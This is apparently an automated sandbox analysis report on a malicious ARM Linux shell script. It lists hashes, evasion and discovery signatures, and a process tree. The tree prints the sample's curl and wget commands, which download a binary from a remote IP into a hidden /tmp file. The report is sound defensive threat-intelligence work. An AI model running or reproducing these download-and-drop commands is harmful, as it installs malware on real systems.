8922695d0625d1e8a67bdbefe12392ae590c1313d47ac190bc177d05061d5953

Analysis

max time kernel
133s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/09/2026, 17:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
Size 831KB
Sample260913-vsf6rsszax
SHA256 8922695d0625d1e8a67bdbefe12392ae590c1313d47ac190bc177d05061d5953
MD5 8ae7dd2d1ef708530e38efe29865e7da
SHA1 a0e4a9d0ba443ec00daa29c8e96c4ec831c01fd6
SHA512 493f51aeb9490402f75f6d7ff239dac16f7e1eda3db0723041dcf1861698ef18a159f5d5eb5adcb6e37c16f3b3ed73008455397d4d2667e47c27f72ed4346ec6
SSDEEP 24576:U4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeH:+/o8ZatHiw5ycMVmKkeH
TLSH
T16A052308F11B8C38ED4E3C8CE89EEBDD192520A28B55E1475A6534AE7E347DC807A75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.pWMvKg	92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
File opened for modification	/tmp/.svc	wget

/tmp/92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
/tmp/92ab54d8ddfe5a408bb519d720fd58b0745c405991e41ec420f9132cdce57e2f_comment-insertion.sh
1⤵
- Writes file to tmp directory
PID:644
- /bin/uname
  uname -m
  2⤵
  PID:665
- /usr/bin/curl
  curl -s http://103.79.79.21:8899/dl/linux_arm -o /tmp/.svc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:667
- /usr/bin/wget
  wget -qO /tmp/.svc http://103.79.79.21:8899/dl/linux_arm
  2⤵
  - Writes file to tmp directory
  PID:778

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.pWMvKg

Path /tmp/sh-thd.pWMvKg
Size 827KB
SHA256 22bae645a0eb3013a44ff846a2476db484fb474f1cb1c6940caa4dcf73c039aa
MD5 bb189239b1e8a08f4a9ceb19fa949d10
SHA1 78f270dad7982c9cca6466a3a683b1db88011710
SHA512 f6f3536d23aedc3f993af1783744eb333e0d9758d1dd0c1a172ce375db35d2cbc9058e7871c013573d5b86de974c15b01a37b5981e169601dfcef2c6263f8447
SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7OyY:8e8xyxNwybCacd7cWOyY
TLSH
T12E052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads